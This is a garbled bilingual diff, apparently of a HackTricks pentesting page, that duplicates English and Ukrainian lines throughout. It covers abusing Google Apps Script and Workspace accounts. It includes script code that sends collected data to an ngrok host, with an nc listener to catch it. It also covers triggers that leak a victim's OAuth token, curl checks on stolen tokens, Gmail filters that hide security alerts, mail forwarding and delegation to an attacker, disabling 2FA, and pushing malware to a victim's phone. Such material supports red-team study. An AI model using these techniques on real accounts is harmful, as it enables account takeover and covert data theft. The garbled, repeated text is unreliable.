// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
}
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
Щоб захопити запит, ви можете просто виконати:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
Запити на дозволи для виконання App Script:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
> Оскільки здійснюється зовнішній запит, запит OAuth також **попросить дозволи на доступ до зовнішніх кінцевих точок**.
|
||||
|
||||
### Create Trigger
|
||||
### Створити тригер
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
Після того, як App буде прочитано, натисніть на **⏰ Тригери**, щоб створити тригер. Як **функцію** для виконання виберіть **`getToken`**, виконується на розгортанні **`Head`**, у джерелі події виберіть **`З таблиці`** та тип події виберіть **`При відкритті`** або **`При редагуванні`** (згідно з вашими потребами) і збережіть.
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
Зверніть увагу, що ви можете перевірити **виконання App Scripts на вкладці Виконання**, якщо хочете щось налагодити.
|
||||
|
||||
### Sharing
|
||||
### Спільний доступ
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
Щоб **запустити** **App Script**, жертва повинна підключитися з **доступом редактора**.
|
||||
|
||||
> [!TIP]
|
||||
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
> **Токен**, використаний для виконання **App Script**, буде токеном **творця тригера**, навіть якщо файл відкритий як редактор іншими користувачами.
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
### Зловживання документами, поділеними зі мною
|
||||
|
||||
> [!CAUTION]
|
||||
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
> Якщо хтось **поділився з вами документом з App Scripts і тригером, використовуючи Head** App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і **App Script буде виконано з дозволами користувача, який поділився з вами документом**! (зверніть увагу, що токен OAuth власника матиме такі області доступу, які були надані під час створення тригера).
|
||||
>
|
||||
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
> **Сповіщення буде надіслано творцеві скрипта, вказуючи, що хтось змінив скрипт** (Що, якщо використовувати дозволи gmail для створення фільтра, щоб запобігти сповіщенню?)
|
||||
|
||||
> [!TIP]
|
||||
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
> Якщо **зловмисник змінює області доступу App Script**, оновлення **не будуть застосовані** до документа, поки не буде створено **новий тригер** з змінами. Тому зловмисник не зможе вкрасти токен власника творця з більшими областями доступу, ніж ті, які він встановив у тригері, який він створив.
|
||||
|
||||
### Copying instead of sharing
|
||||
### Копіювання замість спільного доступу
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
Якщо ви **зміните** закінчення **"/edit"** на **"/copy"**, замість доступу до нього Google запитає вас, чи хочете ви **створити копію документа:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
Якщо користувач копіює його та отримує доступ, як **вміст документа, так і App Scripts будуть скопійовані**, однак **тригери не будуть**, тому **нічого не буде виконано**.
|
||||
|
||||
### Sharing as Web Application
|
||||
### Спільний доступ як веб-додаток
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
Зверніть увагу, що також можливо **поділитися App Script як веб-додатком** (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
Після чого з'явиться **типове сповіщення OAuth, що запитує** необхідні дозволи.
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
### Тестування
|
||||
|
||||
Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою:
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
Список календаря користувача:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
## App Script як Постійність
|
||||
|
||||
## App Script as Persistence
|
||||
Одним з варіантів постійності було б **створити документ і додати тригер для функції getToken** та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він **екстрагує токен жертви.**
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який **компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен**:
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер і виберіть опції, які вам найбільше підходять:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> This will create a security alert email and a push message to your mobile alerting about this.
|
||||
> Це створить електронний лист про безпеку та push-повідомлення на ваш мобільний телефон, що сповіщає про це.
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
### Обхід Неперевіреного Запиту Спільного Документа
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
Більше того, якщо хтось **поділився** з вами документом з **доступом редактора**, ви можете створити **App Scripts всередині документа**, і **ВЛАСНИК (творець) документа буде власником App Script**.
|
||||
|
||||
> [!WARNING]
|
||||
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
> Це означає, що **творець документа з'явиться як творець будь-якого App Script**, який будь-хто з доступом редактора створює всередині нього.
|
||||
>
|
||||
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
> Це також означає, що **App Script буде довірятися середовищу Workspace** творця документа.
|
||||
|
||||
> [!CAUTION]
|
||||
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
> Це також означає, що якщо **App Script вже існував** і люди надали **доступ**, будь-хто з **дозволом редактора** на документ може **модифікувати його та зловживати цим доступом.**\
|
||||
> Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один цікавий трюк - це **опублікувати скрипт як веб-додаток**. Коли **люди**, які вже надали **доступ** до App Script, отримують доступ до веб-сторінки, вони **активують App Script** (це також працює за допомогою тегів `<img>`).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,184 +3,180 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
|
||||
> Усі дії, згадані в цьому розділі, які змінюють налаштування, генеруватимуть **сповіщення про безпеку на електронну пошту та навіть push-сповіщення на будь-який мобільний пристрій, синхронізований** з обліковим записом.
|
||||
|
||||
## **Persistence in Gmail**
|
||||
## **Постійність у Gmail**
|
||||
|
||||
- You can create **filters to hide** security notifications from Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
|
||||
- Ви можете створити **фільтри для приховування** сповіщень про безпеку від Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- Це запобігатиме надходженню електронних листів про безпеку на електронну пошту (але не запобігатиме push-сповіщенням на мобільний)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steps to create a gmail filter</summary>
|
||||
<summary>Кроки для створення фільтра в gmail</summary>
|
||||
|
||||
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
|
||||
(Інструкції [**тут**](https://support.google.com/mail/answer/6579))
|
||||
|
||||
1. Open [Gmail](https://mail.google.com/).
|
||||
2. In the search box at the top, click Show search options  .
|
||||
3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
|
||||
4. At the bottom of the search window, click **Create filter**.
|
||||
5. Choose what you’d like the filter to do.
|
||||
6. Click **Create filter**.
|
||||
1. Відкрийте [Gmail](https://mail.google.com/).
|
||||
2. У полі пошуку вгорі натисніть Показати параметри пошуку .
|
||||
3. Введіть свої критерії пошуку. Якщо ви хочете перевірити, чи правильно спрацював ваш пошук, подивіться, які електронні листи з'являються, натиснувши **Пошук**.
|
||||
4. У нижній частині вікна пошуку натисніть **Створити фільтр**.
|
||||
5. Виберіть, що ви хочете, щоб фільтр робив.
|
||||
6. Натисніть **Створити фільтр**.
|
||||
|
||||
Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
Перевірте свій поточний фільтр (щоб видалити їх) на [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
|
||||
- Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- The receiving address will need to confirm this
|
||||
- Then, set to forward all the emails while keeping a copy (remember to click on save changes):
|
||||
- Створіть **адресу пересилання для пересилання чутливої інформації** (або всього) - Вам потрібен ручний доступ.
|
||||
- Створіть адресу пересилання на [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- Отримувач повинен підтвердити це
|
||||
- Потім налаштуйте пересилання всіх електронних листів, зберігаючи копію (не забудьте натиснути зберегти зміни):
|
||||
|
||||
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible create filters and forward only specific emails to the other email address.
|
||||
Також можливо створити фільтри та пересилати лише конкретні електронні листи на іншу електронну адресу.
|
||||
|
||||
## App passwords
|
||||
## Паролі додатків
|
||||
|
||||
If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
|
||||
Якщо вам вдалося **зламати сесію користувача google** і у користувача була **2FA**, ви можете **згенерувати** [**пароль додатка**](https://support.google.com/accounts/answer/185833?hl=en) (перейдіть за посиланням, щоб побачити кроки). Зверніть увагу, що **Паролі додатків більше не рекомендуються Google і відкликаються**, коли користувач **змінює пароль свого облікового запису Google.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to create an app password.**
|
||||
**Навіть якщо у вас відкрита сесія, вам потрібно знати пароль користувача, щоб створити пароль додатка.**
|
||||
|
||||
> [!NOTE]
|
||||
> App passwords can **only be used with accounts that have 2-Step Verification** turned on.
|
||||
> Паролі додатків можуть **використовуватися лише з обліковими записами, у яких увімкнено 2-етапну перевірку**.
|
||||
|
||||
## Change 2-FA and similar
|
||||
## Зміна 2-FA та подібне
|
||||
|
||||
It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
|
||||
Також можливо **вимкнути 2-FA або зареєструвати новий пристрій** (або номер телефону) на цій сторінці [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**Також можливо згенерувати ключі доступу (додати свій пристрій), змінити пароль, додати мобільні номери для телефонів перевірки та відновлення, змінити електронну пошту для відновлення та змінити запитання безпеки).**
|
||||
|
||||
> [!CAUTION]
|
||||
> To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
|
||||
> Щоб **запобігти сповіщенням про безпеку** на телефон користувача, ви можете **вийти з його смартфона** (хоча це буде дивно), оскільки ви не можете знову увійти з цього місця.
|
||||
>
|
||||
> It's also possible to **locate the device.**
|
||||
> Також можливо **знайти пристрій.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to change these settings.**
|
||||
**Навіть якщо у вас відкрита сесія, вам потрібно знати пароль користувача, щоб змінити ці налаштування.**
|
||||
|
||||
## Persistence via OAuth Apps
|
||||
## Постійність через OAuth Apps
|
||||
|
||||
If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
|
||||
It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
|
||||
Якщо ви **зламали обліковий запис користувача**, ви можете просто **прийняти** надати всі можливі дозволи **OAuth App**. Єдина проблема в тому, що Workspace може бути налаштований на **заборону не перевірених зовнішніх та/або внутрішніх OAuth додатків.**\
|
||||
Досить поширено, що організації Workspace за замовчуванням не довіряють зовнішнім OAuth додаткам, але довіряють внутрішнім, тому якщо у вас є **достатні дозволи для створення нового OAuth додатку** всередині організації, а зовнішні додатки заборонені, створіть його та **використовуйте цей новий внутрішній OAuth додаток для підтримки постійності**.
|
||||
|
||||
Check the following page for more information about OAuth Apps:
|
||||
Перевірте наступну сторінку для отримання додаткової інформації про OAuth Apps:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
|
||||
## Persistence via delegation
|
||||
## Постійність через делегування
|
||||
|
||||
You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
|
||||
Ви можете просто **делегувати обліковий запис** на інший обліковий запис, контрольований зловмисником (якщо вам дозволено це робити). У Workspace **Організаціях** ця опція повинна бути **увімкнена**. Вона може бути вимкнена для всіх, увімкнена для деяких користувачів/груп або для всіх (зазвичай вона увімкнена лише для деяких користувачів/груп або повністю вимкнена).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>If you are a Workspace admin check this to enable the feature</summary>
|
||||
<summary>Якщо ви адміністратор Workspace, перевірте це, щоб увімкнути функцію</summary>
|
||||
|
||||
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
|
||||
(Інформація [скопійована з документації](https://support.google.com/a/answer/7223765))
|
||||
|
||||
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
|
||||
Як адміністратор вашої організації (наприклад, вашої роботи або школи), ви контролюєте, чи можуть користувачі делегувати доступ до свого облікового запису Gmail. Ви можете дозволити всім мати можливість делегувати свій обліковий запис. Або лише дозволити людям з певних відділів налаштувати делегування. Наприклад, ви можете:
|
||||
|
||||
- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
|
||||
- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
|
||||
- Додати адміністративного асистента як делегата на свій обліковий запис Gmail, щоб вони могли читати та надсилати електронні листи від вашого імені.
|
||||
- Додати групу, таку як ваш відділ продажів, у Групи як делегата, щоб надати всім доступ до одного облікового запису Gmail.
|
||||
|
||||
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
|
||||
Користувачі можуть делегувати доступ лише іншому користувачеві в тій же організації, незалежно від їх домену або організаційної одиниці.
|
||||
|
||||
#### Delegation limits & restrictions
|
||||
#### Обмеження та обмеження делегування
|
||||
|
||||
- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
|
||||
- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
|
||||
- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
|
||||
- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
|
||||
- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
|
||||
- **Дозволити користувачам надавати доступ до своєї поштової скриньки Google групі**: Щоб використовувати цю опцію, вона повинна бути увімкнена для ОУ делегованого облікового запису та для кожного члена групи ОУ. Члени групи, які належать до ОУ без увімкненої цієї опції, не можуть отримати доступ до делегованого облікового запису.
|
||||
- При звичайному використанні 40 делегованих користувачів можуть отримати доступ до облікового запису Gmail одночасно. Надмірне використання одним або кількома делегатами може зменшити цю кількість.
|
||||
- Автоматизовані процеси, які часто отримують доступ до Gmail, також можуть зменшити кількість делегатів, які можуть отримати доступ до облікового запису одночасно. Ці процеси включають API або розширення браузера, які часто отримують доступ до Gmail.
|
||||
- Один обліковий запис Gmail підтримує до 1,000 унікальних делегатів. Група в Групах зараховується як один делегат до ліміту.
|
||||
- Делегування не збільшує ліміти для облікового запису Gmail. Облікові записи Gmail з делегованими користувачами мають стандартні ліміти та політики облікового запису Gmail. Для отримання додаткової інформації відвідайте [Ліміти та політики Gmail](https://support.google.com/a/topic/28609).
|
||||
|
||||
#### Step 1: Turn on Gmail delegation for your users
|
||||
#### Крок 1: Увімкніть делегування Gmail для своїх користувачів
|
||||
|
||||
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
**Перед початком:** Щоб застосувати налаштування для певних користувачів, помістіть їхні облікові записи в [організаційну одиницю](https://support.google.com/a/topic/1227584).
|
||||
|
||||
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
|
||||
1. [Увійдіть](https://admin.google.com/) у свою [консоль адміністратора Google](https://support.google.com/a/answer/182076).
|
||||
|
||||
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
|
||||
Увійдіть, використовуючи _обліковий запис адміністратора_, а не свій поточний обліковий запис CarlosPolop@gmail.com
|
||||
|
||||
2. In the Admin console, go to Menu  **Apps****Google Workspace****Gmail****User settings**.
|
||||
3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
4. Click **Mail delegation**.
|
||||
5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
|
||||
6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
|
||||
7. Select an option for the default sender information that's included in messages sent by delegates:
|
||||
- **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
|
||||
- **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
|
||||
8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
|
||||
9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
|
||||
10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9.
|
||||
2. У консолі адміністратора перейдіть до Меню  **Додатки****Google Workspace****Gmail****Налаштування користувача**.
|
||||
3. Щоб застосувати налаштування для всіх, залиште вибраною верхню організаційну одиницю. В іншому випадку виберіть дочірню [організаційну одиницю](https://support.google.com/a/topic/1227584).
|
||||
4. Натисніть **Делегування пошти**.
|
||||
5. Поставте галочку в полі **Дозволити користувачам делегувати доступ до своєї поштової скриньки іншим користувачам у домені**.
|
||||
6. (Необов'язково) Щоб дозволити користувачам вказати, яка інформація про відправника включена в делеговані повідомлення, поставте галочку в полі **Дозволити користувачам налаштувати це налаштування**.
|
||||
7. Виберіть опцію для інформації про відправника за замовчуванням, яка включена в повідомлення, надіслані делегатами:
|
||||
- **Показати власника облікового запису та делегата, який надіслав електронний лист**—Повідомлення включають адреси електронної пошти власника облікового запису Gmail та делегата.
|
||||
- **Показати лише власника облікового запису**—Повідомлення включають адресу електронної пошти лише власника облікового запису Gmail. Адреса електронної пошти делегата не включена.
|
||||
8. (Необов'язково) Щоб дозволити користувачам додати групу в Групи як делегата, поставте галочку в полі **Дозволити користувачам надавати доступ до своєї поштової скриньки Google групі**.
|
||||
9. Натисніть **Зберегти**. Якщо ви налаштували дочірню організаційну одиницю, ви можете **успадкувати** або **перезаписати** налаштування батьківської організаційної одиниці.
|
||||
10. (Необов'язково) Щоб увімкнути делегування Gmail для інших організаційних одиниць, повторіть кроки 3–9.
|
||||
|
||||
Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
|
||||
Зміни можуть зайняти до 24 годин, але зазвичай відбуваються швидше. [Дізнайтеся більше](https://support.google.com/a/answer/7514107)
|
||||
|
||||
#### Step 2: Have users set up delegates for their accounts
|
||||
#### Крок 2: Нехай користувачі налаштують делегатів для своїх облікових записів
|
||||
|
||||
After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
|
||||
Після того, як ви увімкнете делегування, ваші користувачі переходять до налаштувань Gmail, щоб призначити делегатів. Делегати можуть читати, надсилати та отримувати повідомлення від імені користувача.
|
||||
|
||||
For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
|
||||
Для отримання додаткової інформації направте користувачів до [Делегування та співпраця в електронній пошті](https://support.google.com/a/users/answer/138350).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
|
||||
<summary>Як звичайний користувач, перевірте тут інструкції, щоб спробувати делегувати свій доступ</summary>
|
||||
|
||||
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
|
||||
(Інформація скопійована [**з документації**](https://support.google.com/mail/answer/138350))
|
||||
|
||||
You can add up to 10 delegates.
|
||||
Ви можете додати до 10 делегатів.
|
||||
|
||||
If you're using Gmail through your work, school, or other organization:
|
||||
Якщо ви використовуєте Gmail через свою роботу, школу або іншу організацію:
|
||||
|
||||
- You can add up to 1000 delegates within your organization.
|
||||
- With typical use, 40 delegates can access a Gmail account at the same time.
|
||||
- If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
|
||||
- Ви можете додати до 1000 делегатів у межах вашої організації.
|
||||
- При звичайному використанні 40 делегатів можуть отримати доступ до облікового запису Gmail одночасно.
|
||||
- Якщо ви використовуєте автоматизовані процеси, такі як API або розширення браузера, кілька делегатів можуть отримати доступ до облікового запису Gmail одночасно.
|
||||
|
||||
1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
|
||||
2. In the top right, click Settings   **See all settings**.
|
||||
3. Click the **Accounts and Import** or **Accounts** tab.
|
||||
4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin.
|
||||
- If you don't see Grant access to your account, then it's restricted.
|
||||
5. Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
|
||||
\
|
||||
**Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
|
||||
1. На своєму комп'ютері відкрийте [Gmail](https://mail.google.com/). Ви не можете додати делегатів з програми Gmail.
|
||||
2. У правому верхньому куті натисніть Налаштування   **Переглянути всі налаштування**.
|
||||
3. Натисніть вкладку **Облікові записи та імпорт** або **Облікові записи**.
|
||||
4. У розділі "Надати доступ до свого облікового запису" натисніть **Додати інший обліковий запис**. Якщо ви використовуєте Gmail через свою роботу або школу, ваша організація може обмежити делегування електронної пошти. Якщо ви не бачите цього налаштування, зв'яжіться з адміністратором.
|
||||
- Якщо ви не бачите Надати доступ до свого облікового запису, то це обмежено.
|
||||
5. Введіть адресу електронної пошти особи, яку ви хочете додати. Якщо ви використовуєте Gmail через свою роботу, школу або іншу організацію, і ваш адміністратор це дозволяє, ви можете ввести адресу електронної пошти групи. Ця група повинна мати той же домен, що й ваша організація. Зовнішнім членам групи відмовлено в доступі до делегування.\
|
||||
\
|
||||
**Важливо:** Якщо обліковий запис, який ви делегуєте, є новим обліковим записом або пароль був скинутий, адміністратор повинен вимкнути вимогу змінити пароль, коли ви вперше входите.
|
||||
|
||||
- [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
|
||||
- [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
|
||||
- [Дізнайтеся, як адміністратор може створити користувача](https://support.google.com/a/answer/33310).
|
||||
- [Дізнайтеся, як адміністратор може скинути паролі](https://support.google.com/a/answer/33319).
|
||||
|
||||
6\. Click **Next Step**  **Send email to grant access**.
|
||||
6. Натисніть **Наступний крок**  **Надіслати електронний лист для надання доступу**.
|
||||
|
||||
The person you added will get an email asking them to confirm. The invitation expires after a week.
|
||||
Людина, яку ви додали, отримає електронний лист з проханням підтвердити. Запрошення закінчується через тиждень.
|
||||
|
||||
If you added a group, all group members will become delegates without having to confirm.
|
||||
Якщо ви додали групу, усі члени групи стануть делегатами без необхідності підтвердження.
|
||||
|
||||
Note: It may take up to 24 hours for the delegation to start taking effect.
|
||||
Примітка: Може знадобитися до 24 годин, щоб делегування почало діяти.
|
||||
|
||||
</details>
|
||||
|
||||
## Persistence via Android App
|
||||
## Постійність через Android App
|
||||
|
||||
If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
|
||||
Якщо у вас є **сесія в обліковому записі google жертви**, ви можете перейти до **Play Store** і, можливо, зможете **встановити шкідливе ПЗ**, яке ви вже завантажили в магазин, безпосередньо **на телефон**, щоб підтримувати постійність і отримати доступ до телефону жертви.
|
||||
|
||||
## **Persistence via** App Scripts
|
||||
## **Постійність через** App Scripts
|
||||
|
||||
You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
|
||||
Ви можете створити **тригери на основі часу** в App Scripts, тому якщо App Script буде прийнято користувачем, він буде **запущений** навіть **без доступу користувача**. Для отримання додаткової інформації про те, як це зробити, перевірте:
|
||||
|
||||
{{#ref}}
